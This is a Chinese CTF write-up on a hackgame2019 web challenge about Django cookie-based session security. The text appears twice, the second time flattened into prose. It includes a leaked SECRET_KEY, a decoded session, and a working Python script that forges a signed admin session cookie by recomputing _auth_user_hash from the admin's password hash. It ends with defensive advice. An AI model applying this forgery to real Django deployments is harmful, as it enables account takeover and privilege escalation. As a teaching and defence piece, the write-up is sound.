从hackgame2019一道web分析Django cookie-session的安全性
字数 1707 2025-08-25 22:58:34

Django Cookie-Session 安全性分析与利用

背景介绍

本文基于hackgame2019的一道Web题目,分析Django框架中cookie-based session的安全机制及其潜在风险。题目场景是一个Django应用的管理员声称即使代码和数据库被泄露,由于admin密码长达1024位,攻击者也无法获取flag。

Django Session机制

Django支持多种session存储方式:

  1. 数据库支持的会话 (database-backed sessions)
  2. 缓存会话 (cached sessions)
  3. 基于文件的会话 (file-based sessions)
  4. 基于cookie的会话 (cookie-based sessions)

在本题中,配置使用了signed_cookies作为session存储方式:

SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
SESSION_COOKIE_HTTPONLY = False  # 允许JavaScript访问cookie

Django签名机制

Django使用签名算法保护cookie数据,主要API:

from django.core import signing

# 编码
value = signing.dumps({"foo": "bar"})  # 输出类似: 'eyJmb28iOiJiYXIifQ:1NMg1b:zGcDE4-TCkaeGzLeW9UQwZesciI'

# 解码
signing.loads(value)  # 输出: {'foo': 'bar'}

关键参数:

  • key: 签名密钥,默认使用SECRET_KEY
  • salt: 加盐字符串,默认"django.core.signing"

题目分析

1. 获取关键信息

从泄露的源码中获取:

  • SECRET_KEY: 'd7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39'
  • 示例session cookie: .eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GXEI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iKPsz:xrFwkuWPqOeflwOyQzcnEZF3gqQ

2. Session解码

发现默认salt不适用,需使用特定salt:

signing.loads(
    session_cookie,
    key=SECRET_KEY,
    salt='django.contrib.sessions.backends.signed_cookies'
)

解码后得到session内容:

{
    '_auth_user_id': '2',  # 用户ID
    '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend',
    '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'
}

3. 认证哈希分析

_auth_user_hash由以下方式生成:

def get_session_auth_hash(self):
    key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"
    return salted_hmac(key_salt, self.password).hexdigest()

其中:

  • self.password是数据库中存储的密码哈希值(非原始密码)
  • 密码哈希格式示例:pbkdf2_sha256$150000$8GFvEvr58uL6$YWM8Fqu8t/UYcW4iHqxXpkKPMEzlUvxbeHYJI45qBHM=

攻击步骤

1. 伪造管理员session

已知:

  • 管理员用户ID为1
  • 管理员密码哈希:pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE=

构造伪造session:

from django.core import signing
from django.utils.crypto import salted_hmac

SECRET_KEY = 'd7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39'
admin_hash = 'pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE='
signed_cookie_salt = 'django.contrib.sessions.backends.signed_cookies'
key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"

# 构造伪造session字典
fake_admin_session = {
    '_auth_user_id': '1',  # 管理员ID
    '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend',
    '_auth_user_hash': salted_hmac(key_salt, admin_hash, secret=SECRET_KEY).hexdigest()
}

# 编码为cookie
fake_admin_cookie = signing.dumps(fake_admin_session, key=SECRET_KEY, salt=signed_cookie_salt)
print(fake_admin_cookie)

2. 使用伪造cookie登录

将生成的cookie通过浏览器或curl等方式提交给服务器,即可获得管理员权限。

安全防护机制分析

题目场景中存在两重防护:

  1. Django框架层防护:依赖SECRET_KEY保护session不被篡改
  2. Django-admin应用层防护:依赖_auth_user_hash确保攻击者需要知道密码哈希

当两者同时泄露时(如本题中代码和数据库都被泄露),防护即被突破。

防御建议

  1. 保护SECRET_KEY

    • 不要将SECRET_KEY放入版本控制
    • 使用环境变量或密钥管理服务
    • 定期轮换SECRET_KEY
  2. 加强session安全

    • 优先使用服务器端session存储(数据库或缓存)
    • 确保SESSION_COOKIE_HTTPONLY=True
    • 考虑使用SESSION_COOKIE_SECURE=True(仅HTTPS)
    • 设置合理的SESSION_COOKIE_AGE
  3. 密码哈希保护

    • 将密码哈希视为敏感信息保护
    • 使用强哈希算法(如PBKDF2, bcrypt等)
    • 考虑额外pepper机制

总结

通过本题分析,我们了解到:

  1. Django的cookie-based session实现细节
  2. 签名机制中salt参数的重要性
  3. Django-admin的额外认证哈希机制
  4. 当SECRET_KEY和密码哈希同时泄露时的风险
  5. 如何构造伪造session进行权限提升

这提醒开发者在实现认证系统时需要考虑纵深防御,避免单点失效导致整个系统被攻破。

Django Cookie-Session 安全性分析与利用 背景介绍 本文基于hackgame2019的一道Web题目,分析Django框架中cookie-based session的安全机制及其潜在风险。题目场景是一个Django应用的管理员声称即使代码和数据库被泄露,由于admin密码长达1024位,攻击者也无法获取flag。 Django Session机制 Django支持多种session存储方式: 数据库支持的会话 (database-backed sessions) 缓存会话 (cached sessions) 基于文件的会话 (file-based sessions) 基于cookie的会话 (cookie-based sessions) 在本题中,配置使用了 signed_cookies 作为session存储方式: Django签名机制 Django使用签名算法保护cookie数据,主要API: 关键参数: key : 签名密钥,默认使用 SECRET_KEY salt : 加盐字符串,默认"django.core.signing" 题目分析 1. 获取关键信息 从泄露的源码中获取: SECRET_KEY : 'd7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39' 示例session cookie: .eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GXEI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iKPsz:xrFwkuWPqOeflwOyQzcnEZF3gqQ 2. Session解码 发现默认salt不适用,需使用特定salt: 解码后得到session内容: 3. 认证哈希分析 _auth_user_hash 由以下方式生成: 其中: self.password 是数据库中存储的密码哈希值(非原始密码) 密码哈希格式示例: pbkdf2_sha256$150000$8GFvEvr58uL6$YWM8Fqu8t/UYcW4iHqxXpkKPMEzlUvxbeHYJI45qBHM= 攻击步骤 1. 伪造管理员session 已知: 管理员用户ID为1 管理员密码哈希: pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE= 构造伪造session: 2. 使用伪造cookie登录 将生成的cookie通过浏览器或curl等方式提交给服务器,即可获得管理员权限。 安全防护机制分析 题目场景中存在两重防护: Django框架层防护 :依赖 SECRET_KEY 保护session不被篡改 Django-admin应用层防护 :依赖 _auth_user_hash 确保攻击者需要知道密码哈希 当两者同时泄露时(如本题中代码和数据库都被泄露),防护即被突破。 防御建议 保护SECRET_ KEY : 不要将SECRET_ KEY放入版本控制 使用环境变量或密钥管理服务 定期轮换SECRET_ KEY 加强session安全 : 优先使用服务器端session存储(数据库或缓存) 确保 SESSION_COOKIE_HTTPONLY=True 考虑使用 SESSION_COOKIE_SECURE=True (仅HTTPS) 设置合理的 SESSION_COOKIE_AGE 密码哈希保护 : 将密码哈希视为敏感信息保护 使用强哈希算法(如PBKDF2, bcrypt等) 考虑额外pepper机制 总结 通过本题分析,我们了解到: Django的cookie-based session实现细节 签名机制中salt参数的重要性 Django-admin的额外认证哈希机制 当SECRET_ KEY和密码哈希同时泄露时的风险 如何构造伪造session进行权限提升 这提醒开发者在实现认证系统时需要考虑纵深防御,避免单点失效导致整个系统被攻破。